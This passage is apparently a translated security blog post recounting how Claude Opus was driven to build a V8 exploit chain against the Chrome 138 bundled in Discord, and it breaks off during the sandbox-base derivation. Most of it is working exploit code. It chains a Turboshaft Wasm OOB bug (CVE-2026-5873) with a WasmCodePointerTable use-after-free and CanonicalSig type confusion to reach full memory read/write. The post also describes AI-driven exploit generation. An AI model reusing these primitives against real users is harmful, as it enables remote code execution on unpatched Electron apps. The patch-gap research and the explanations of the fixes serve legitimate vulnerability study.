文章总结： 作者将Discord捆绑的Chrome138（落后上游九个主版本）交给ClaudeOpus，一周内花费23亿tokens和2283美元API成本，成功构建从V8OOB到RCE的完整利用链。实验证明前沿AI能将已知补丁转化为可利用漏洞，凸显Electron应用patchgap的严重性。作者估计约60%把握可pwn掉ClaudeDesktop，警示未修补软件面临真实威胁。
综合评分： 88
文章分类： 漏洞分析,红队,渗透测试,AI安全,安全工具
从 V8 OOB 到 RCE：我让 Claude Opus 写了一条 Chrome 漏洞利用链
s1r1us
s1r1us
不吃猹的瓜
2026年7月5日 15:42
日本
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TLDR： 我把 Discord 捆绑的 Chrome（版本 138，比上游落后九个主版本）交给 Claude Opus，让它构建一条完整的 V8 exploit chain。我们使用的 V8 OOB 来自 Chrome 146，也就是 Anthropic 自家 Claude Desktop 正在运行的版本。一周来回迭代，23 亿 tokens，2,283 美元 API 成本，再加上我大约 20 小时帮它从死胡同里脱身。最终它弹出了计算器。
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Anthropic 发布 Mythos 和 Project Glasswing 的消息，把整个科技圈点燃了。一边，怀疑者说这又是一次狼来了式的时刻，是把算力限制包装成安全剧场，或者只是迄今为止最会制造恐慌的 AI 营销。另一边，已经有人开始讨论要不要把服务器做网络隔离。
不管 Anthropic 到底在下什么棋，也不管那些纸上谈兵的专家怎么说，这件事背后确实有真实问题。我认为这种“剧场”对网络安全总体是正面的，它很响亮地提醒我们接下来会发生什么。但我不想和那些一夜之间在 Twitter 和 LinkedIn 上冒出来的、成千上万的新晋网络安全专家一样，只坐在那里空谈这个判断。
所以，与其理论推演，我想展示的是：当你把一个前沿模型指向互联网上最复杂的软件之一，也就是 Chrome 的 V8 engine，并要求它写出一个可工作的 exploit 时，会发生什么。
核心问题很简单：如果模型越来越擅长把 patch 转成 exploit，而修补速度依旧缓慢，那么所有运行过时代码的东西会怎样？
Mythos 是否被过度炒作并不重要。曲线并没有变平。就算不是 Mythos，也会是下一个版本，或者再下一个版本。最终，任何有足够耐心和 API key 的脚本小子，都能在未修补软件上拿到 shell。这只是时间问题，不是会不会发生的问题。
背景：Patch Gap 与 Chromium 生态
2022 年，我们在 DEF CON USA 发布过一项研究，主题是利用 Electron apps 中的 patch gap，目标包括 Discord、Teams、Notion，基本上就是所有基于 Electron 构建的东西。核心想法很简单：Electron app 会捆绑自己的 Chromium，而且通常会比上游落后数周甚至数月。这段空窗意味着，V8 中那些已知且已经被修复的 CVE，在你机器上的每个 Electron app 里仍然大门敞开。作为那项研究的一部分，我们写出了直接针对 Electron app 的可工作 n-day exploits。这里有一篇博客文章，讲的是我们如何利用一个 V8 n-day 在 Discord 上拿到 RCE。
从 2022 年到现在，情况没有任何改变。下面是我机器上当前正在运行的版本：
| App | Chrome 版本 | Sandbox 状态 |
| — | — | — |
| Notion | 144.0.7559.236 | 已启用 |
| Cursor | 142.0.7444.265 | 已启用 |
| Claude Desktop | 146.0.7680.179 | 已启用 |
| Discord | 138.0.7204.251 | 主窗口无 sandbox |
| Slack | 132.0.6834.159 | 已启用 |
注：对于启用了 sandbox 的 app，要形成完整 chain 需要三个 bug：heap control、V8 cage bypass 和 sandbox escape。上面这些 app 都存在公开可见且尚未修补的 sandbox escape CVE。理论上，写出这些 exploit 是可行的，只是我已经没有耐心继续手把手带 Opus 走完了。我大概有 60% 的把握：只要几千美元，再加上足够多的人工盯梢和纠偏，就能 pwn 掉 Claude Desktop。
我选择 Discord 作为目标。因为主窗口没有 sandbox，它只需要两个 bug 就能形成完整 chain。它现在还停在 Chrome 138，比当前版本落后九个主版本。你仍然需要一个 discord.com 上的 XSS 来投递 payload。至于这有多难，就留给读者自己思考了。
实验：Claude Opus vs. V8
这不是一次单独的 chat session。它跨越了一周里的多个 Claude sessions，子任务被拆到多个 threads 中，有用于验证输出的 scaffolding，LLDB 输出会回灌到上下文里，进度也会跨 session checkpoint。
我全程没有碰 LLDB；我做的只是发消息。我没有教它怎么利用漏洞，也没有解释 V8 internals，或者带它走 exploitation techniques。我的工作纯粹是操作层面的：识别它什么时候卡进循环，杀掉那些明显走不下去的 sessions，然后把它推向更有希望的目标。你可以把它想象成开车但不碰发动机，只不过这辆车会不断试图自己冲进沟里，而把它维持在路上非常累。
Step 1：寻找可以写 exploit 的 n-day
导出 Chrome 138 到最新 147 之间的每一个 CVE。让 Opus 阅读 V8 git log patches，并根据是否容易形成 out-of-bounds heap primitive 来挑选 bug。
大多数 tokens 都花在了这里。Claude 在 22 个 sessions 中尝试了 27 种失败的方法，最后才找到了一条可行 chain。许多看起来可利用的 bug，最后都变成了死胡同。
有些 bug 超出了它的能力范围。我知道怎么利用 CVE-2025-12429，但 Claude 没想出来。CVE-2026-3910 是一个 in-the-wild exploit，我们两个都没搞定。浪费了足够多的 sessions 之后，我不再让它自己选，而是把它指向一个根据此前探索我知道可行的 CVE；但它自己并没有意识到这是更容易的那个：
CVE-2026-5873：V8 中的 out of bounds read and write。已在 Chrome 147.0.7727.55 修复。报告日期：2026-03-25。
Step 2：写出能在 heap 上拿到 OOB 的 exploit
CVE-2026-5873 是 Chrome 146 上的一个 V8 heap OOB，而 Chrome 146 是低于最新版 Chrome 的版本。这个 bug 没有公开 exploit。仅凭 patch 的 git log，Claude 在挣扎了一天之后，从零构建出了一个可工作的 OOB read/write primitive。
有个有趣的小故事：我在自己实际使用的 Chrome 上测试 exploit 时，它成功了。结果发现我还没点更新按钮。这就是 time-to-patch 的现实版。
Step 3：Heap Cage Bypass
heap 上的 OOB 还不够，你需要逃出 V8 的 sandbox 才能获得 arbitrary read/write。这需要第二个 bug。我从 Chromium tracker 中挑了一个已披露的 sandbox bypass，然后让 Claude 把它和 heap OOB 串起来：
V8 Sandbox Bypass：通过 import dispatch table corruption 触发 WasmCPT handle UAF（b/446113730 的多个变体）
四天之后，完整 chain 出来了：
如果你想阅读完整技术细节，下面是 Claude 对这个 bug 的说明：
Chrome 138 完整 Exploit Chain：从 CVE-2026-5873 到 RCE
目标
- Chrome for Testing 138.0.7204.232，ARM64 macOS（Apple Silicon）
- V8 13.8.x（Turboshaft pipeline）
- Exploit URL：
http://localhost:8888/exploit-chromium.html - Exploit file：
/tmp/chrome-exploit/exploit-chromium.html - Wasm builder：
/tmp/chrome-exploit/wasm-module-builder.js（从 V8 test harness 复制）
Chrome 启动命令
/tmp/chrome-138/chrome-mac-arm64/Google\ Chrome\ for\ Testing.app/Contents/MacOS/Google\ Chrome\ for\ Testing \
--user-data-dir=/tmp/chrome-138-profile2 \
--no-sandbox
漏洞：CVE-2026-5873 — Turboshaft WebAssembly OOB Read/Write
根本原因
这是 V8 Turboshaft compiler 针对 WebAssembly 的一个 bounds-check elimination bug。当一个 Wasm 函数接收 i64 参数，通过 i32.convert_i64 将其截断为 i32，再将结果左移（例如 shl 2），并把它用作 memory load/store index 时，Turboshaft 的优化 pipeline 会在从 Liftoff tier-up 之后错误地消除 bounds check。
触发模式
(func $read (param i64) (result i32)
local.get 0
i32.convert_i64 ;; truncates to lower 32 bits
i32.const 2
i32.shl ;; index * 4
i32.load align=4 offset=0
)
在 Liftoff（baseline）下，bounds check 会被正确应用。在 Turboshaft 编译该函数之后（由足够多的执行触发），bounds check 被消除，从而允许相对于 Wasm linear memory base 的任意 OOB read 和 write。
关键细节：i32.convert_i64 截断
i32.convert_i64 指令会丢弃高 32 位。因此当调用 read(0x100000000n) 时，effective index 是 0（被截断后）。这意味着：
- 没有 bug 时：
read(0x100000000n)返回与read(0n)相同的结果（二者都访问 offset 0） - 有 bug 时：
read(0x100000000n)也会访问 offset 0，但通常会在大 index 上 trap 的 bounds check 被消除，因此read(0x10000n)（对应 0x40000 字节的 offset，超过 1 page = 64KB）会成功，而不是 trap
bug 检测逻辑（checkBug）利用的是：在 Liftoff 下，read(0x100000000n) 会 trap（bounds check 在截断前看到完整的 64-bit 值）；但在有 bug 的 Turboshaft 下，它会静默读取 offset 0（截断之后，没有 bounds check）。
Exploit Chain 概览
Phase 0: Spray ArrayBuffers → Heap markers for probing
Phase 1: Build Wasm OOB module → CVE-2026-5873 trigger
Phase 2: Natural tier-up warmup → Activate bounds-check elimination bug
Phase 3: Probe for AB backing stores → Find AB data via OOB reads
Phase 4-5: Determine M, N → Calibrate wasm_mem ↔ cage offset mapping
Phase 6: Find JSArrayBuffer object → Locate the V8 object metadata in cage
→ Corrupt backing_store → In-cage arbitrary R/W
→ God buffer setup → Full sandbox-wide R/W
→ addrof primitive → Leak compressed pointers of JS objects
Phase 10: WasmCPT UAF (b/452605803) → Sandbox bypass → full virtual address R/W
Phase 11: SANDBOX_BASE + Isolate → Derive V8 sandbox base, find Isolate
Phase 12: WCPT redirect → system() → Arbitrary code execution
Phase 0：ArrayBuffer Spray
const AB_COUNT = 64
const AB_SIZE = 0x10000 // 64 KB each
for (let i = 0; i < AB_COUNT; i++) {
const ab = new ArrayBuffer(AB_SIZE)
new Uint32Array(ab).fill(0xcccc0000 | i) // unique marker per AB
ABS.push(ab)
}
创建 64 个 ArrayBuffer，每个 64 KB，并填充 0xCCCC0000 | index。在通过 Wasm OOB primitive 进行探测时，这些值会作为可识别的 landmarks。backing stores 会分配在 V8 sandbox 的 pointer compression cage 中；Phase 3 要发现的，就是它们相对于 Wasm linear memory base 的位置。
Phase 1：构造 Wasm Module
构建三个函数：
**read(i64) → i32**：OOB read primitive。接收 64-bit index，截断为 i32，左移 2 位，然后从 Wasm memory load i32。**write(i64, i32)**：OOB write primitive。同样执行截断 + shift，然后 store i32。**warmup(i32) → i32**：一个反复从 offset 0 读取的 hot loop。用于通过 natural tier-up 触发 Turboshaft compilation。
该 Wasm module 恰好只有 1 page（64 KB）memory。在 Liftoff 下，超过 64 KB 的访问会 trap。而在带 bug 的 Turboshaft tier-up 之后，它们不会 trap。
Phase 2：Natural Tier-Up
for (let batch = 0; batch < 50 && !bugActive; batch++) {
inst.exports.warmup(2000000)
for (let i = 0; i < 1000000; i++) read(BigInt(i & 0x3fff))
for (let i = 0; i < 1000000; i++) write(BigInt(i & 0x3fff), (i & 0xff) | 0)
await new Promise((r) => setTimeout(r, 500))
bugActive = checkBug()
}
warmup loop 必须在不同 batch 之间通过 await setTimeout 把控制权交还给 event loop，这样：
- V8 的后台编译线程才能完成 Turboshaft compilation
- renderer thread 不会卡死（Chrome 会杀掉无响应的 renderer）
通常，bug 会在 batch 1 激活（也就是第一次 yield 之后立刻激活），这意味着 Turboshaft 会在 500ms sleep 期间完成这些函数的编译。
Bug Detection
function checkBug() {
new Uint32Array(inst.exports.mem.buffer)[0] = 0xdeadbeef
let v0 = read(0n) >>> 0
try {
let v1 = read(0x100000000n) >>> 0
return v1 !== v0
} catch (e) {
return true
}
}
- 如果
read(0x100000000n)抛异常 → bounds check 仍然有效 → 仍处于 Liftoff →return true（实际上 bug 已经 active，因为 Liftoff 会基于完整 64-bit index trap；Turboshaft 会截断并且不会 trap……但是：这里的 catch 返回 true。仔细看，真实检测应该是，在带 bug 的 Turboshaft 下，调用会成功并返回与read(0n)相同的值（因为截断），所以v1 !== v0为false。在 Liftoff 下，它会抛异常，所以catch返回true。等等，这意味着checkBug()在两种情况下都会返回true？）
实际上，这里的逻辑更微妙。catch(e) { return true; } 路径会在 Liftoff 仍然 active 时命中（函数会在 large index 上 trap）。但这里的 return true 是有意的：它表示“bug 可能已经 active”，因为 throw 本身说明函数仍按 64-bit 级别做 bounds check（Liftoff 行为）。真正的证明是，在 Turboshaft 之后，read(0x100000000n) 返回 0xDEADBEEF（截断到 index 0），与 v0 匹配，因此 v1 !== v0 为 false。外层循环只会在 true 时中断，而 true 会在以下情况出现：
- 函数抛异常（Liftoff 仍然 active，但我们也会在 Phase 3 尝试真正的 OOB）
v1 !== v0为 true（意味着截断后的 index 读到了不同数据，也就是说 bounds checks 已被消除，64KB 之外的 memory 可访问）
实践中，bug 会稳定地在第一个 batch 激活，后续 Phase 3 中的 OOB probes 会确认这一点。
Phase 3：探测 AB Backing Stores
V8 Sandbox Memory Layout
cage_base (4 GB pointer compression cage)
├── [0x00000000 .. 0x0FFFFFFF] cage region 0
├── [0x100000000 .. 0x1FFFFFFFF] cage region 1
├── ...
├── [N*4GB .. (N+1)*4GB-1] AB backing stores land here
├── ...
├── [M*4GB] Wasm linear memory base
└── ... up to 1 TB sandbox
Wasm linear memory 位于 cage offset M * 4GB。AB backing stores 位于 cage offset N * 4GB + sub_offset。OOB primitive 会相对于 Wasm memory base 读取，因此要到达 cage offset 为 X 的 AB backing store，需要计算：
byte_offset = X - M * 4GB
param = byte_offset / 4 (because read shifts left by 2)
upper = param >> 32 (passed as high 32 bits of i64)
lower = param & 0xFFFFFFFF (truncated to i32 by i32.convert_i64)
exploit 会为 M ∈ [5,9] 和 N ∈ [0,6] 生成 probes：
let delta = BigInt(n - m) * 0x100000000n + 0xa0000n
let param = delta / 4n
0xa0000 这个 sub-offset 是 AB backing stores 在各自 4GB region 内开始位置的常见 alignment offset。
为什么用 BigInt？
JavaScript 的 >> operator 只能作用于 32-bit integers。对于 delta 为负且很大的 probes（例如 (0 - 9) * 4GB），如果使用普通 JS numbers，会被静默截断为 32 bits。BigInt 可以保留完整的 64-bit 值。
典型结果
- Chrome standalone：M=5, N=1 或 M=6, N=0
- Electron：M=7-9, N=1-3（更多 memory overhead）
当 probe 返回 0xCCCC00XX 时，就说明我们找到了 AB[XX] 的 backing store。
Phase 4-5：确定 M 和 N
根据 probe 结果，我们知道 N - M（差值），但还不知道 M 和 N 各自是多少。我们通过尝试候选值，并检查在已知小 offset（0x40000、0x80000）处的 cage reads 是否返回非零数据，来确定 M（heap objects 总是存在于较低 cage offsets）。
function readCage32(cageOffset) {
const bd = cageOffset - M * 4GB;
const param = bd / 4;
return rd(param_upper, param_lower);
}
一旦 M 已知，readCage32 和 writeCage32 就可以把任意 cage offset 转换为正确的 OOB read/write 参数。
Phase 6：寻找 JSArrayBuffer Object
这是最复杂的 phase。我们需要找到 JSArrayBuffer 的 metadata object（不只是它的 backing store data），这样才能 corrupt 它的 backing_store 和 byte_length 字段。
Step 1：计算 Backing Store 的 SandboxedPointer
V8 会把 backing_store 字段保存为 SandboxedPointer，也就是 cage offset 左移 24 bits：
const bsCageOff = BigInt(N) * fourGB + ab_sub // backing store cage offset
const bsSP = bsCageOff << 24n // SandboxedPointer encoding
const bsSPhi = Number((bsSP >> 32n) & 0xffffffffn)
Step 2：在 Cage Heap 中扫描 SP
我们会在低 cage region（0x40000 到 0x2000000）中扫描 SandboxedPointer 的高 32 bits。命中后，再把完整 SP 解码回 cage offset，并读取 AB 的 marker data 进行验证：
for (let off = 0x40000; off < 0x2000000; off += 4) {
let v = readCage32(off)
if (v !== bsSPhi) continue
let lo = readCage32(off - 4)
const spFull = (BigInt(v) << 32n) | BigInt(lo >>> 0)
const candOff = spFull >> 24n
let content = readCage32(candOff)
if ((content & 0xffff0000) >>> 0 === 0xcccc0000) {
// Found! The SP at (off-4, off) points to an AB backing store
}
}
Step 3：通过 JS-side Marker Write 验证
我们通过 cage R/W 向 backing store 写入一个唯一 marker，然后检查哪个 JS ArrayBuffer 能看到它：
writeCage32(Number(origBackingOff), 0xbeef1234)
for (let i = 0; i < ABS.length; i++) {
if (new DataView(ABS[i]).getUint32(0, true) === 0xbeef1234) {
realVictimIdx = i
break
}
}
Step 4：寻找真正的 JSArrayBuffer Object
多个结构都会引用 backing store，例如 BackingStore metadata、ArrayBufferExtension。为了找到真正的 JSArrayBuffer，我们通过修改 byte_length 进行探测：
for (let off = 0x40000; off < 0x2000000; off += 4) {
// Find SP match
if (readCage32(off) !== orig_bs_hi) continue
if (readCage32(off - 4) !== orig_bs_lo) continue
for (const bsOff of [0x24, 0x20]) {
const abBase = off - 4 - bsOff
let save = readCage32(abBase + 0x18)
writeCage32(abBase + 0x18, 0x00004242) // corrupt byte_length hi
if (victim.byteLength !== 0x10000) {
// JS-visible byteLength changed → this IS the JSArrayBuffer!
writeCage32(abBase + 0x18, save) // restore
targetABOff = abBase
break
}
writeCage32(abBase + 0x18, save)
}
}
JSArrayBuffer Layout（V8 13.8，Sandbox Mode）
+0x00: map (compressed pointer)
+0x04: properties_or_hash
+0x08: elements
+0x0C: ...
+0x10: flags / bit_field
+0x14: byte_length (low 32)
+0x18: byte_length (high 32)
+0x1C: max_byte_length (low 32)
+0x20: max_byte_length (high 32)
+0x24: backing_store SandboxedPointer (low 32)
+0x28: backing_store SandboxedPointer (high 32)
+0x2C: extension
Step 5：arbRead32 / arbWrite32
在已经定位到位于 targetABOff 的 JSArrayBuffer object 后，我们可以临时重定向它的 backing_store，从而 read/write 任意 cage offset：
function arbRead32(cageOffset) {
const raw = BigInt(cageOffset) << 24n // encode as SandboxedPointer
writeCage32(targetABOff + 0x24, Number(raw & 0xffffffffn))
writeCage32(targetABOff + 0x28, Number((raw >> 32n) & 0xffffffffn))
const val = victimView.getUint32(0, true)
// restore original backing_store
writeCage32(targetABOff + 0x24, orig_bs_lo)
writeCage32(targetABOff + 0x28, orig_bs_hi)
return val
}
Step 6：God Buffer
将 backing_store 设置为 0（= cage base），并将 byte_length 设置为 0xFFFFFFFFFFFFFFFF：
writeCage32(targetABOff + 0x24, 0) // backing_store → cage base
writeCage32(targetABOff + 0x28, 0)
writeCage32(targetABOff + 0x14, 0xffffffff) // byte_length = max
writeCage32(targetABOff + 0x18, 0xffffffff)
writeCage32(targetABOff + 0x1c, 0xffffffff) // max_byte_length = max
writeCage32(targetABOff + 0x20, 0xffffffff)
现在 new DataView(victim) 可以 read/write 整个 V8 sandbox 中的任意 offset（通过 byteLength 最多可见 34 GB）。
Step 7：addrof Primitive
放置一个 sentinel array [MARKER_SMI, target_obj, MARKER_SMI]，然后在 cage 中扫描 SMI marker pattern。位于两个 marker 之间的 compressed pointer 就是目标 object 的 cage-relative address：
function addrof(obj) {
addrOfArr[1] = obj
for (let off = 0x40000; off < 0x800000; off += 4) {
if (readCage32(off) !== SMI_MARKER) continue
if (readCage32(off + 8) !== SMI_MARKER) continue
const ptr = readCage32(off + 4)
if ((ptr & 1) === 1 && ptr > 0x1000) return ptr
}
return 0
}
到这里，我们已经拥有：完整的 in-cage arbitrary R/W + addrof。
Phase 10：WasmCPT UAF + CanonicalSig Type Confusion — Sandbox Bypass
这一 phase 会逃出 V8 sandbox，获得完整 virtual address space R/W。它通过 dispatch table handle corruption 利用 V8 WasmCodePointerTable（WCPT）中的 use-after-free，然后伪造 CanonicalSig type confusion，把一个 wasm ref $s（struct pointer）重新解释为 raw i64。
来源：该技术基于 chromium issue 452605803，由 Seunghyun Lee（@0x10n）报告；它本身也是 chromium issue 446113730 的一个变体。两者都展示了在具备 in-sandbox corruption primitive 时的 V8 sandbox bypass（我们的 CVE-2026-5873 OOB 提供了这一点）。
背景：这些表是什么？
V8 的 sandbox 通过 indirection tables，把“trusted”（sandbox 外）数据与“untrusted”（sandbox 内）objects 隔离开：
| 表 | 作用 |
| — | — |
| TrustedPointerTable (TPT) | 将 in-sandbox handles 映射到 out-of-sandbox trusted objects |
| WasmCodePointerTable (WCPT) | 将 handles 映射到 wasm function entrypoints + signature hashes |
| WasmDispatchTable | 每张 table 的 (target, ref, sig) entries 数组，用于 call_indirect |
当 wasm module import 一个 JS function 时，V8 会创建一个 **dispatch_table_for_imports **，也就是保存 import 的 WCPT handle 和 WasmImportWrapperHandle 的 WasmDispatchTable（后者是控制 WCPT entry 生命周期的 shared_ptr）。
关键 insight 是：WasmTableObject（in-sandbox）在 offset 0x1c 处有一个 trusted pointer handle，指向它的 WasmDispatchTable（out-of-sandbox）。有了 in-sandbox R/W，我们就可以覆盖这个 handle，让它指向另一张 dispatch table，具体来说就是 import dispatch table。
高层策略
- 通过分配 marker tables 发现 trusted pointer handle stride
- 覆盖某张 table 的 dispatch handle，让它指向 import dispatch table
- grow 被移植 handle 的 table → V8 释放 import 的 WCPT entry（UAF）
- 实例化一个新的 wasm module，让其中函数 reclaim 已释放的 WCPT entry
- reclaiming function 的
CanonicalSig现在可通过被 corrupt 的 import call path 访问 - 覆盖
CanonicalSigreturn types：(i64, ref $s)→(i64, i64) - struct reference 现在被重新解释为 raw
i64→ 完整 virtual R/W
Step 1：Handle Stride Discovery
每个 WasmTableObject 都在 offset kTDTOffset = 0x1c 处有一个 TrustedDispatchTable handle。连续分配的 table 会在 TPT 中得到连续的 handles：
let dummy_table0 = new WebAssembly.Table({
initial: 1,
maximum: 1,
element: 'anyfunc',
})
// ... wasm module instantiation happens here (allocates several TPT entries) ...
let dummy_table1 = new WebAssembly.Table({
initial: 1,
maximum: 1,
element: 'anyfunc',
})
let dummy_table2 = new WebAssembly.Table({
initial: 1,
maximum: 1,
element: 'anyfunc',
})
let h0 = readCage32(addrof(dummy_table0) + kTDTOffset)
let h1 = readCage32(addrof(dummy_table1) + kTDTOffset)
let h2 = readCage32(addrof(dummy_table2) + kTDTOffset)
let h_stride = h2 - h1 // typically 0x200
let h_new = (h1 - h0) / h_stride - 1 // entries created by wasm instantiation
h_stride 是 trusted pointer table entry size。h_new 告诉我们在 dummy_table0 和 dummy_table1 之间，wasm module instantiation 创建了多少个 TPT entries；这会用于计算 target_ofs。
Step 2：带 Import 的 Wasm Module（inst1 — caller）
第一个 module import 一个签名为 (i64, i64) → (i64, ref $s) 的函数：
let builder = new WasmModuleBuilder()
let $s = builder.addStruct([makeField(kWasmI64, true)])
let $sig_ls_ll = builder.addType(
makeSig([kWasmI64, kWasmI64], [kWasmI64, wasmRefNullType($s)]),
)
let $fn = builder.addImport('import', 'fn', $sig_ls_ll)
builder.addDeclarativeElementSegment([$fn])
call_fn export 会通过 ref.func + call_ref 调用 import（不是 call_indirect）：
let $call_fn = builder
.addFunction('call_fn', $sig_ls_ll)
.addBody([
kExprLocalGet,
0,
kExprLocalGet,
1,
kExprRefFunc,
$fn, // push funcref for the import
kExprCallRef,
$sig_ls_ll, // call via ref (not indirect)
])
.exportFunc()
let instance = builder.instantiate({ import: { fn: () => [42n, null] } })
let { call_fn } = instance.exports
call_fn(0n, 0n) // force ref.func instantiation
为什么使用 call_ref 而不是 call_indirect？ Bug 446113730 使用的是 kExprCallFunction $fn（通过 dispatch_table_for_imports 直接调用 import）。Bug 452605803 改用 kExprCallRef。ref.func 指令会创建一个 WasmInternalFunction（= WasmFuncRef），它持有 import wrapper 的 WCPT call target。关键在于，WasmInternalFunction 持有 WCPT call target 时，**并不持有 WasmImportWrapperHandle**（也就是 reference count holder）。它依赖 WasmImportData（它的 implicit_arg）来保持对象存活。但在我们 corrupt dispatch table 并释放 entry 之后，WasmInternalFunction 仍然指向已经释放的 WCPT slot。
Step 3：释放 Import 的 WCPT Entry
我们覆盖一张新 table 的 dispatch handle，让它指向 import dispatch table 的 handle，然后 grow 这张 table。grow 会把 dispatch table 替换成新表，并丢弃旧 entries 对应的 shared_ptr<WasmImportWrapperHandle>，这会把 refcount 减到 0，并释放 WCPT entry：
let target_ofs = 0x7 // number of TPT entries back from h1 to reach the import table
let h_target = h1 - h_stride * target_ofs
let tt = new WebAssembly.Table({
initial: 0,
maximum: 0x10,
element: 'anyfunc',
})
writeCage32(addrof(tt) + kTDTOffset, h_target) // transplant handle
tt.grow(0x10) // triggers free
此后，call_fn 的 import wrapper 使用的那个 WCPT entry 已经被释放但仍被引用，引用方是 Step 2 中的 WasmInternalFunction。
Step 4：用 Type-Compatible Functions Reclaim（inst2 — callee）
我们实例化第二个 module，其中的函数会 reclaim 已释放的 WCPT slots：
let builder2 = new WasmModuleBuilder()
let $s2 = builder2.addStruct([makeField(kWasmI64, true)])
let $sig_ls_ll2 = builder2.addType(
makeSig([kWasmI64, kWasmI64], [kWasmI64, wasmRefNullType($s2)]),
)
let $mem = builder2.addMemory64(1) // memory64 for full 64-bit addressing
called_fn 函数会基于它的 memory64 同时作为 read 和 write primitive：
let $called_fn = builder2
.addFunction('called_fn', $sig_ls_ll2)
.addBody([
kExprLocalGet,
0, // param 0 = address (or -1 for read mode)
...wasmI64Const(-1n),
kExprI64Eq,
kExprIf,
kWasmI64,
kExprLocalGet,
1, // param 1 = read address
kExprI64LoadMem,
1,
0, // load 8 bytes from memory64
kExprElse,
kExprLocalGet,
0, // param 0 = write address
kExprLocalGet,
1, // param 1 = value
kExprI64StoreMem,
1,
0, // store 8 bytes to memory64
...wasmI64Const(0),
kExprEnd,
kExprRefNull,
kNullRefCode, // second return value: null ref
])
.exportFunc()
inst2 会在 free 之后实例化，因此它的函数的 WCPT entries 会 reclaim 已释放的 slots。由于 V8 会对相同的 wasm signatures 做去重，这两个 modules 会共享同一个 CanonicalSig。
Step 5：Type Confusion Setup
当 call_fn（来自 inst1）调用 import 时，它现在会经过已经被释放并 reclaim 的 WCPT entry。调用路径会把 WasmImportData（用于 import）与 WasmTrustedInstanceData（用于 called_fn）混淆。巧合的是，WasmTrustedInstanceData 中的 kMemory0StartOffset 等于 WasmImportData 中的 kWasmImportDataSigOffset。因此，当 called_fn 访问自己的 memory64 时，它读取到的 base address 实际上是 import data 中的 **CanonicalSig pointer**。
这意味着 called_fn 的 memory loads/stores 会直接作用于 CanonicalSig 结构：
function sig_read(ofs) {
return call_fn(-1n, ofs)[0] // read 8 bytes from CanonicalSig + ofs
}
function sig_write(ofs, val) {
call_fn(ofs, val)[0] // write 8 bytes to CanonicalSig + ofs
}
在通过 corrupted path 调用 called_fn 之前，我们会先让它 tier up，避免 Liftoff-specific 代码访问会导致崩溃的 WasmTrustedInstanceData 字段：
for (let i = 0; i < 10; i++) called_fn(1n, 2n)
%WasmTierUpFunction(called_fn)
Step 6：CanonicalSig Layout 与 Type Forging
CanonicalSig 结构描述函数的 type signature：
CanonicalSig (V8 13.8):
+0x00: return_count_ (8 bytes, value=2)
+0x08: parameter_count_ (8 bytes, value=2)
+0x10: reps_ (pointer to inline type array)
+0x18: signature_hash_
+0x20: index_
+0x28: reps_[0:2] (return types: i64, ref $s)
+0x30: reps_[2:4] (param types: i64, i64)
+0x28 处的 return types 是 (i64, ref $s)。+0x30 处的 param types 是 (i64, i64)。我们用 param types 覆盖 return types：
let ll = sig_read(0x30n) // read param reps: (i64, i64)
sig_write(0x28n, ll) // overwrite return reps: (i64, ref $s) → (i64, i64)
现在 V8 会认为 called_fn 返回 (i64, i64)，而不是 (i64, ref $s)。当 called_fn 返回一个 ref $s（指向 wasm struct 的 heap pointer）时，caller 会把它解释成 raw i64。这会彻底突破 type system。
Step 7：完整 Virtual Address R/W
借助伪造后的 signature，我们构造 read64 和 write64 helper：
let $read64 = builder2
.addFunction('read64', $sig_l_l)
.addBody([
kExprLocalGet,
0, // address to read
...wasmI64Const(0n),
kExprCallFunction,
$fn2, // calls through corrupted import → gets (i64, ref $s)
kGCPrefix,
kExprStructGet,
$s2,
0, // read i64 field from struct
kExprReturn,
])
.exportFunc()
let $write64 = builder2
.addFunction('write64', $sig_v_ll)
.addBody([
kExprLocalGet,
0, // address
...wasmI64Const(0n),
kExprCallFunction,
$fn2, // gets (i64, ref $s)
kExprLocalGet,
1, // value
kGCPrefix,
kExprStructSet,
$s2,
0, // write i64 field into struct
kExprReturn,
])
.exportFunc()
因为 ref $s 现在被当作 raw i64 处理，struct 的 field access 就变成了对任意 64-bit virtual address 的任意 memory dereference：
function vread64(addr) {
return read64(BigInt(addr))
}
function vwrite64(addr, val) {
write64(BigInt(addr), BigInt(val))
}
到这里，我们已经拥有完整 virtual address space R/W，也就是已经逃出了 V8 sandbox。
Stack Leak（sig_fnx）
把 fnx signature 的 return_count 设置为 0，会导致 caller 把未初始化的 stack slots 当作 return values 读取：
sig_fnx_write(0x0n, 0n) // return_count = 0
let leaks = leak_rec() // returns 32 i64 values from the stack
leak_rec 会调用一个递归函数（用于压入 frames），然后调用被修改的 fnx import。这些“return values”实际上是陈旧的 stack data，会泄露 JIT code addresses 和 stack pointers。
该问题是如何修复的
该 bug 通过两个 commits 修复：
Fix 1 — 在 grow 时清空旧 dispatch table entries（1d13848，Clemens Backes，Sep 2025，修复 bug 446113730）：
当 WasmDispatchTable::Grow 创建新表时，旧表的 entries 会保留不变。在存在 in-sandbox corruption 的情况下，攻击者仍然可以触达旧表，并使用其中 stale entries（指向已经释放的 WCPT slots）。修复方式是在把 entries 复制到新表之后，清空旧表中的所有 entries：
// Clear old table to avoid dangling uses via in-sandbox corruption.
for (uint32_t i = 0; i < old_length; ++i) {
old_table->Clear(i, WasmDispatchTable::kNewEntry);
}
这样，任何后续通过旧表发起的调用都会立即崩溃。
Fix 2 — 不再暴露 dispatch_table_for_imports（9fdddb6，Jakob Kummerow，Oct 2025，修复 bug 452605803）：
Fix 1 还不够，因为 bug 452605803 展示了攻击仍然可以通过 ref.func + call_ref 成功（WasmInternalFunction 在 table 被清空后仍然持有 WCPT call target）。最终修复方式是将 dispatch_table_for_imports 完全从 trusted pointer table 中移除，使它无法被任何 in-sandbox object 访问：
// Make sure the dispatch table for imports is inaccessible from regular
// in-sandbox objects.
#if V8_ENABLE_SANDBOX
isolate->trusted_pointer_table().Zap(
dispatch_table_for_imports->self_indirect_pointer_handle());
#endif
Zap 会用一个无效 sentinel 覆盖 TPT handle。这样即便攻击者 corrupt 了 WasmTableObject 的 handle 字段，也无法让它指向 import dispatch table，因为 TPT 中根本不存在可用的有效 handle。import dispatch table 仍由 V8 内部使用（通过直接 C++ pointers），但 in-sandbox JavaScript 或 wasm object 都不能触达它。
Phase 11：SANDBOX_BASE Derivation + Isolate Discovery
通过 PartitionAlloc Freelist 获得 SANDBOX_BASE
let pa_buf = new ArrayBuffer(0x2000)
let pa_backing = BigInt(buffer_data_ptr(pa_buf))
pa_buf.transfer(0) // free the backing store
释放后，SlotSpanMetadata freelist head（存储在 superpage metadata 区域）中会包含已释放 buffer 的完整 virtual address。减去已知 cage offset 后，就得到 SANDBOX_BASE：
